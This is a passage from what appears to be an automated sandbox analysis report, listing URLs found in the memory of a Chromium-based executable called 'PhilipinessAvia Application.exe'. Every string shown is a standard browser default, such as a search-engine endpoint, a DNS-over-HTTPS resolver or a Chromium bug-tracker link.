      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=434timestamp-querySupport
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=551
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=690
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=690chromium-experimental-dp4aSupport
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=955
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=955texture-compression-astcSupport
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/tint/issues/detail?id=1497
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/tint/issues/detail?id=1497indirect-first-instanceSupport
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://buscador.softonic.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://buscador.terra.com.ar/Default.aspx?source=Search&ca=s&query=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://buscador.terra.es/Default.aspx?source=Search&ca=s&query=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ca.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ca.search.yahoo.com/favicon.icohttps://ca.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ca.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ca.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ch.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://chrome-devtools-frontend.appspot.com/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://chrome-devtools-frontend.appspot.com/%s%s/%s/NetworkResourceLoaderstreamWriteInspectableWebC
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://chrome.cloudflare-dns.com/dns-query
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://chrome.cloudflare-dns.com/dns-queryone.one.one.one1dot1dot1dot1.cloudflare-dns.com1.1.1.11.0
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://chromium.dns.nextdns.io
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cl.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cl.search.yahoo.com/favicon.icohttps://cl.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cl.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cl.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cleanbrowsing.org/privacy
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cleanbrowsing.org/privacyCleanBrowsing
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://co.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://co.search.yahoo.com/favicon.icohttps://co.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://co.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://co.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://coccoc.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://coccoc.com/favicon.icohttps://coccoc.com/search#query=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://coccoc.com/search#query=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/new
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/newCheckIfAudioThreadIsAliveMedia.AudioThreadStatusCreating
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dawn.googlesource.com/dawn/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://de.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://de.search.yahoo.com/favicon.icohttps://de.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://de.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://de.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/Cloudflare
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://developers.google.com/speed/public-dns/privacy
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://developers.google.com/speed/public-dns/privacyGoogle
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dk.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dk.search.yahoo.com/favicon.icohttps://dk.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dk.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dl.gmx.com/apps/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dl.gmx.com/apps/favicon.icohttps://search.gmx.com/web/result?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns.google/dns-query
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns.quad9.net/dns-query
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns.quad9.net/dns-querydns.quad9.netdns9.quad9.net9.9.9.9149.112.112.1122620:fe::fe2620:fe::
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns.sb/privacy/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns.sb/privacy/DNS.SBhttps://doh.dns.sb/dns-query
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns10.quad9.net/dns-query
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns10.quad9.net/dns-querydns10.quad9.net9.9.9.10149.112.112.102620:fe::102620:fe::fe:10;
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns11.quad9.net/dns-query
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns11.quad9.net/dns-querydns11.quad9.net9.9.9.11149.112.112.112620:fe::112620:fe::fe:11
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns64.dns.google/dns-query
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dnsnl.alekberg.net/dns-query
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh-01.spectrum.com/dns-query
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh-02.spectrum.com/dns-query
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.cleanbrowsing.org/doh/adult-filter
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.cleanbrowsing.org/doh/family-filter
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.cleanbrowsing.org/doh/security-filter
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.cox.net/dns-query
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.cox.net/dns-querydot.cox.net68.105.28.1168.105.28.122001:578:3f::30Z
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.dns.sb/dns-query
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.familyshield.opendns.com/dns-query
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.opendns.com/dns-query
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.quickline.ch/dns-query
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.xfinity.com/dns-query
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://duckduckgo.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtabh
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://duckduckgo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://en.softonic.com/s/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://es.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://es.search.yahoo.com/favicon.icohttps://es.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://es.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://es.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fi.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fi.search.yahoo.com/favicon.icohttps://fi.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fi.search.yahoo.com/search
